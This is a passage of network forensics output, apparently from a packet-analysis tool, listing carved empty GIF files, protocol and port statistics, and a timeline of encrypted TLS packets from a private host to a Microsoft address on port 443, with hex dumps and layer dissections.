20 31 38 3a 31 39 3a 32 33 20 32 30 32 36 0a\n2026-04-29T18:19:23.898390,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000000.gif,gif,/tmp/tmpxcn_f98q/carved/scalpel/gif-3-0/00000000.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-04-29T18:19:23.898390,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000001.gif,gif,/tmp/tmpxcn_f98q/carved/scalpel/gif-4-0/00000001.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n","network_analysis_protocols.csv":"Protocol,Packets,Bytes,Packet %,Byte %\nTCP,18,3748,100.00%,100.00%\n","network_analysis_ports.csv":"Port,Packets,Bytes,Packet %,Byte %\n443,18,3748,50.00%,50.00%\n49899,9,1278,25.00%,17.05%\n49892,9,2470,25.00%,32.95%\n","packet_forensic_timeline.csv":"Timestamp_UTC,Packet_Num,Flow_ID,Src_IP,Dst_IP,Src_Port,Dst_Port,Protocol,Src_Country,Src_City,Src_ASN,Src_AS_Org,Src_Lat,Src_Lon,Src_Network,Dst_Country,Dst_City,Dst_ASN,Dst_AS_Org,Dst_Lat,Dst_Lon,Dst_Network,TCP_Flags,DNS_Query,HTTP_Url,Protocol_Stack,Layer_Depth,Description,Packet_Content(Hex),Packet_Content,Alerts,Complete_Dissection\n2026-04-26 18:01:23.983410,1,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb6fd40008006e959c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.....@....Y..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46845, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59737, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 18:01:24.295122,2,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb6fe40008006e958c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.....@....X..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46846, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59736, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 18:01:24.904884,3,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb6ff40008006e957c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.....@....W..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46847, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59735, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 18:01:26.107823,4,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb700000080062957c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.........)W..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46848, \"\"flags\"\": \"\"\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 10583, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 18:01:27.134883,5,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b70140008006e8c0c0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68695943b55f82723b3d3fe805ca9303606fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5dd341d07b1ebc0355cee9175ee85425663,\"RT.W..RT.{....E.. ..@.......z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....;U.'#....\\.06..7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....4.....5\\..u..BVc\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46849, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59584, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x95\\\\x94;U\\\\xf8\\\\'#\\\\xb3\\\\xd3\\\\xfe\\\\x80\\\\\\\\\\\\xa906\\\\x06\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd4\\\\x1d\\\\x07\\\\xb1\\\\xeb\\\\xc05\\\\\\\\\\\\xee\\\\x91u\\\\xee\\\\x85BVc' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 18:01:27.448527,6,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb702000080062955c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.........)U..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46850, \"\"flags\"\": \"\"\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 10581, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 18:01:27.448622,7,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b70340008006e8bec0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68695943b55f82723b3d3fe805ca9303606fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5dd341d07b1ebc0355cee9175ee85425663,\"RT.W..RT.{....E.. ..@.......z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....;U.'#....\\.06..7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....4.....5\\..u..BVc\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46851, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59582, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x95\\\\x94;U\\\\xf8\\\\'#\\\\xb3\\\\xd3\\\\xfe\\\\x80\\\\\\\\\\\\xa906\\\\x06\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd4\\\\x1d\\\\x07\\\\xb1\\\\xeb\\\\xc05\\\\\\\\\\\\xee\\\\x91u\\\\xee\\\\x85BVc' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 18:01:28.151688,8,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b70440008006e8bdc0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68695943b55f82723b3d3fe805ca9303606fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5dd341d07b1ebc0355cee9175ee85425663,\"RT.W..RT.{....E.. ..@.......z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....;U.'#....\\.06..7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....4.....5\\..u..BVc\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", 